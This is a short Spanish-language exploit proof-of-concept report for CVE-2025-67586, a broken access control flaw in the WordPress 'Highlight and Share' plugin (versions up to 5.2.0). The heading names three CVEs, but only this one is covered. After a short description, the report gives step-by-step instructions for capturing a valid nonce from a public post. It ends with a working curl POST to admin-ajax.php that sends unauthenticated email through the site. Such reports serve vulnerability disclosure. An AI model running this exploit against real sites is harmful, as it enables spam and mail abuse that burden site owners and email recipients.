CVE

Informes de (CVE-2025-67586, CVE-2025-67985, CVE-2025-67986)

--------------   CVE-2025-67586 Exploit PoC   --------------

• Título del Exploit: WordPress Plugin 5.2.0 - Control de Acceso Roto
• Enlace del software: https://wordpress.org/plugins/highlight-and-share/
• Versión: <= 5.2.0 (REQUERIDA)
• CVE: CVE-2025-67586

==> Descripción Existe una vulnerabilidad de control de acceso roto en un plugin de WordPress desarrollado por DLX Plugins. El plugin expone una acción AJAX no autenticada que permite a los atacantes abusar de la funcionalidad "Share via Email" sin las comprobaciones de permisos adecuadas.

Un atacante no autenticado puede reutilizar un nonce de publicación válido para activar solicitudes de compartir por correo, lo que permite el envío de correos electrónicos no autorizado (spam / abuso de correo) sin autenticación de usuario.

==> Privilegios Requeridos Ninguno (No autenticado)

==> Prueba de Concepto (PoC)

Paso 1: Elige un sitio web con el plugin instalado

Paso 2: Obtén un nonce válido

1. Abre una publicación pública.
2. Resalta texto y haz clic en Share via Email.
3. Abre Herramientas de Desarrollo → Red → XHR.
4. Envía el correo una vez.
5. Captura la solicitud que contiene: action=has_email_social_modal nonce= post_id=

Paso 3: Explotación mediante solicitud no autenticada

comando bash: (reemplaza la URL del sitio web, la URL de la publicación y el nonce)

curl -s -i -X POST 'http://localhost/wp-admin/admin-ajax.php'
-d 'action=has_email_form_submission'
-d 'formData[postId]='
-d 'formData[permalink]=http://localhost/?p='
-d 'formData[nonce]='
-d 'formData[toEmail]=[email protected]'
-d 'formData[subject]=PoC'
-d 'formData[shareText]=POC test' -d 'formData[emailShareType]=selection' --compressed